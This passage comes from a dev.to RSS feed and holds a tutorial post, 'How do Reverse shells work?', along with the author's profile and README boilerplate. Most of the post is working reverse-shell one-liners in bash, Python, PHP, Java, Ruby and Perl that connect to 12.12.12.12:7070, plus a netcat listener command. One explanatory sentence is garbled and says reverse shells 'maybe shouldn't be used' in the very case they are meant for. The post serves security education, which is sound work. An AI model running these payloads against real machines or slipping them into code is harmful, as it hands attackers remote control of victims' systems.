&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;SoundCloud: &lt;a href="https://soundcloud.com/0c7av3h4ck5"&gt;https://soundcloud.com/0c7av3h4ck5&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Discord Servers!!
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Bounty Hunters&lt;/strong&gt;: An amazing bug hunting community full of developers and exploiters!!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.gg/J5PsgKqdWq"&gt;https://discord.gg/J5PsgKqdWq&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CyberArtByte&lt;/strong&gt;: My server full of bling and joy!!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Link: &lt;a href="https://discord.com/invite/mNAWykv67W"&gt;https://discord.com/invite/mNAWykv67W&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  New Soundcloud Track!!
&lt;/h3&gt;

&lt;p&gt;&lt;iframe width="100%" height="166" src="https://w.soundcloud.com/player/?url=https://soundcloud.com/0c7av3h4ck5/hack-with-your-heart-0c7av3h4ck5&amp;amp;auto_play=false&amp;amp;color=%23000000&amp;amp;hide_related=false&amp;amp;show_comments=true&amp;amp;show_user=true&amp;amp;show_reposts=false&amp;amp;show_teaser=true"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>tooling</category>
    </item>
    <item>
      <title>[Cybersecurity] How do Reverse shells work?</title>
      <dc:creator>Yuma-Tsushima </dc:creator>
      <pubDate>Fri, 25 Jun 2021 20:24:24 +0000</pubDate>
      <link>https://dev.to/yumatsushima07/cybersecurity-how-do-reverse-shells-work-1jfc</link>
      <guid>https://dev.to/yumatsushima07/cybersecurity-how-do-reverse-shells-work-1jfc</guid>
      <description>&lt;h1&gt;
  
  
  Reverse Shells
&lt;/h1&gt;

&lt;h2&gt;
  
  
  How do reverse shells work?
&lt;/h2&gt;

&lt;p&gt;To make a connection to a typical remote shell, a machine controlled by the attacker connects to the remote network host and it requests a shell connection.&lt;br&gt;
This is called a &lt;code&gt;blind shell&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But what if the remote host is not directly accessible, like it has public IP or is protected by a firewall?&lt;/p&gt;

&lt;p&gt;In this situation reverse shells maybe shouldn't be used, where the target machine initiates connection to the listening network host a shell is now established.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reverse Shells Examples
&lt;/h2&gt;

&lt;p&gt;To start you need a listener process on their system to listen the reverse shell connections incoming to their IP address, Eg, &lt;code&gt;12.12.12.12&lt;/code&gt;&lt;br&gt;
On Linux, this can be as simple as one netcat command.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc -lvnp 7070
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The netcat listener will listen at port &lt;code&gt;7070&lt;/code&gt;. An attacker needs to execute the code to the listener. Many reverse shells needs programming langs&lt;br&gt;
and systems. &lt;br&gt;
Check out &lt;a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet"&gt;pentestmonkey’s Reverse Shell Cheat Sheet&lt;/a&gt; for more.&lt;br&gt;
Codes are typically one-liners to allow injection using a single command. &lt;br&gt;
While the examples below are for Linux and other Unix-like systems, many of them will also work on Windows if you change the command line interpreter call from &lt;code&gt;/bin/sh -i&lt;/code&gt; to &lt;code&gt;cmd.exe&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Bash Reverse Shell
&lt;/h3&gt;

&lt;p&gt;If the target machine runs Linux, it’s a good idea to start with bash, as nearly all Linux systems come with this system shell:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/bin/bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/12.12.12.12/7070 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Python Reverse Shell
&lt;/h3&gt;

&lt;p&gt;With Python continuing to gain popularity, there’s a good chance it’s available on the target server and can be used to execute a script like:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="s"&gt;'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("12.12.12.12",7070));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  PHP Reverse Shell
&lt;/h3&gt;

&lt;p&gt;Most web servers will have PHP installed, and this too can provide a reverse shell vector (if the file descriptor &amp;amp;3 doesn’t work, you can try subsequent numbers):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;php&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="s1"&gt;'$sock=fsockopen("12.12.12.12",7070);exec("/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3");'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Java Reverse Shell
&lt;/h3&gt;

&lt;p&gt;Java is likely to be available on application servers:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;([&lt;/span&gt;&lt;span class="s"&gt;"/bin/bash"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"-c"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="s"&gt;"exec 5&amp;lt;&amp;gt;/dev/tcp/12.12.12.12/7070;cat &amp;lt;&amp;amp;5 | while read line; do \$line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done"&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[])&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;waitFor&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Ruby Reverse Shell
&lt;/h3&gt;

&lt;p&gt;Ruby is another popular web application language that’s likely to have an interpreter on a general-purpose server system:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="n"&gt;ruby&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rsocket&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="s1"&gt;'f=TCPSocket.open("12.12.12.12",7070).to_i;exec sprintf("/bin/sh -i &amp;lt;&amp;amp;%d &amp;gt;&amp;amp;%d 2&amp;gt;&amp;amp;%d",f,f,f)'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Perl Reverse Shell
&lt;/h3&gt;

&lt;p&gt;As with bash, a perl interpreter should be available on most Linux servers, so a perl command might be another way to obtain a reverse shell:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;perl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;e&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use Socket;$i="12.12.12.12";$p=7070;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&amp;gt;&amp;amp;S");open(STDOUT,"&amp;gt;&amp;amp;S");open(STDERR,"&amp;gt;&amp;amp;S");exec("/bin/sh -i");};&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  Check out my Gist Here
&lt;/h2&gt;


&lt;div class="ltag_gist-liquid-tag"&gt;
  
&lt;/div&gt;



&lt;h2&gt;
  
  
  Credits
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--i3JOwpme--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt; / &lt;a href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;
        Yuma-Tsushima07
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Readme file
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
      &lt;h1&gt;
Welcome to Yuma-Tsushima's Github page!&lt;/h1&gt;
  &lt;p&gt;
  &lt;b&gt;Visitor count &lt;/b&gt;&lt;br&gt;
  &lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;img src="https://camo.githubusercontent.com/57a70d5f50ac5d203e9b6bd912fc9e4b01c8d40c215b656821b455d1f18f928f/68747470733a2f2f70726f66696c652d636f756e7465722e676c697463682e6d652f59756d612d5473757368696d6130372f636f756e742e737667"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.patreon.com/Order_of_the_Black_Knights_C2_bot" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/6a6769e2d2eb0567975317a589549beaa5db99df73ce9d6f5f9004ec12eee28e/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f537570706f72742d42757925323075732532306125323050697a7a612d6f72616e67652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d70617472656f6e" alt="Support"&gt;&lt;/a&gt;
&lt;a href="https://disboard.org/server/711260885531885648" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/018986f113096a2680c8fa03f313cdf0b8adf24be6d7b9df04b81f14e7897680/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f43322773253230506c6163652d4a6f696e2532307573253230666f7225323061253230636861742d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b3b2ffae6fa2d5de61341af99a4e69ce1546047acebcb5039aa106a8411b2209/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4a6f696e253230746f253230636861742d4379626572417274427974652d626c75652e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d646973636f7264" alt="Discord"&gt;&lt;/a&gt;
&lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;&lt;img src="https://camo.githubusercontent.com/b8ae02d15a55c4261d919a7dd81f80335cf71d017eb6b737cc32698877f322f9/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f536f756e642d436c6f75642d7265642e7376673f7374796c653d666f722d7468652d6261646765266c6f676f3d736f756e64636c6f7564" alt="SoundCloud"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/blob/main/assets/terminalpython.png"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--30kNr2f4--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://github.com/Yuma-Tsushima07/Yuma-Tsushima07/raw/main/assets/terminalpython.png"&gt;&lt;/a&gt;&lt;/p&gt;

      &lt;h3&gt;
About Myself&lt;/h3&gt;
      &lt;p&gt;Hello, my name is Yuma-Tsushima (frequently shortened to Yuma). I am an ambitious coder, and I enjoy coding in JavaScript (mainly). I also love making websites using HTML, CSS and (of course) JS! I started programming (self taught) at the age of 13. Originally, I came from the creative field ; I draw/sing/animate/make music.  &lt;/p&gt;
   

&lt;h3&gt;
Talents and Hobbies&lt;/h3&gt;
&lt;p&gt;I love drawing (I have been drawing all of my life). I play strategy games, I code and I do CTFs! I am also good at animation, making AMVs and image editing. My favourite game is Mindustry, followed by Flow Free and Sudoku. I love watching anime (I love Code Geass - I relate to Lelouch a lot) and I aspire to create my own anime!&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a"&gt;&lt;img src="https://camo.githubusercontent.com/2ee6b04a74d2e5f3c133f042cf9a4c517c12de84f3b843a716694fc09474e417/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233653334633236266d6573736167653d44726177696e67253230253743253230412a" alt="Drawing"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042"&gt;&lt;img src="https://camo.githubusercontent.com/9107ed8d09376ce206e2398fd0513fae0bb422cf18f2c863fdeb4cff1da69c42/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233353633643763266d6573736167653d4d7573696325323025374325323042" alt="Music"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/0f8e7c7e97a090de494030cec5e9c53271971a05cc99cc1877be133211103b2f/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d253233326237343839266d6573736167653d4469676974616c253230417274776f726b253230253743253230383025" alt="Digital Artwork"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/e00451d5e1f51b60407fef6ea1383867d43e4520e2ba2b9e90a10defea549d16/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363841303633266d6573736167653d49435425323025374325323041" alt="ICT"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041"&gt;&lt;img src="https://camo.githubusercontent.com/06f4f740a9fa9a5b4bc25b358d6e98df500cccd4f936b4a8bb020ce509b12e23/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363144424642266d6573736167653d456c656374726f6e69637325323025374325323041" alt="Electronics"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525"&gt;&lt;img src="https://camo.githubusercontent.com/f4a546b3fe39d4cfad9b832e36d1383b539c29e2876293b13466c3cfd6881a68/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d333036393938266d6573736167653d44657369676e73253230253743253230383525" alt="Desgins"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025"&gt;&lt;img src="https://camo.githubusercontent.com/8e0c219dec1ad0f1a1e6567edcbd25c8df8afddc0952dcd3f4e328f7d2074d65/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d363032433530266d6573736167653d576562253230446576656c6f706d656e74253230253743253230383025" alt="Web dev"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer" href="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525"&gt;&lt;img src="https://camo.githubusercontent.com/307207f36ded5f349f64978e2c8c68c08cd2f1474639832722a0ff0eff976491/68747470733a2f2f696d672e736869656c64732e696f2f7374617469632f76313f7374796c653d666c61742d737175617265266c6162656c3d25453225413025383026636f6c6f723d353535266c6162656c436f6c6f723d373634616263266d6573736167653d5374726174656779253230253743253230393525" alt="Strategy"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt; Check out my work!: &lt;/b&gt; &lt;br&gt;
❯ Soundcloud : &lt;a href="https://soundcloud.com/0c7av3h4ck5" rel="nofollow"&gt;0c7av3h4ck5&lt;/a&gt; &lt;br&gt;
❯ Discord : &lt;a href="https://discord.gg/mNAWykv67W" rel="nofollow"&gt;{CyberArtByte}&lt;/a&gt;  &lt;br&gt;
❯ Artwork : &lt;a href="https://medibang.com/u/AcceleratorArts07/" rel="nofollow"&gt;AcceleratorArts07&lt;/a&gt; &lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Recent Medium&lt;/b&gt;…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Yuma-Tsushima07/Yuma-Tsushima07"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h3&gt;
  
  
  Follow me!
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Github: &lt;a href="https://github.com/Yuma-Tsushima07"&gt;https://github.com/Yuma-Tsushima07&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Medium: &lt;a href="https://0xv37r1x3r.medium.com/"&gt;https://0xv37r1x3r.medium.com/&lt;/a&gt;
&lt;/li&gt;
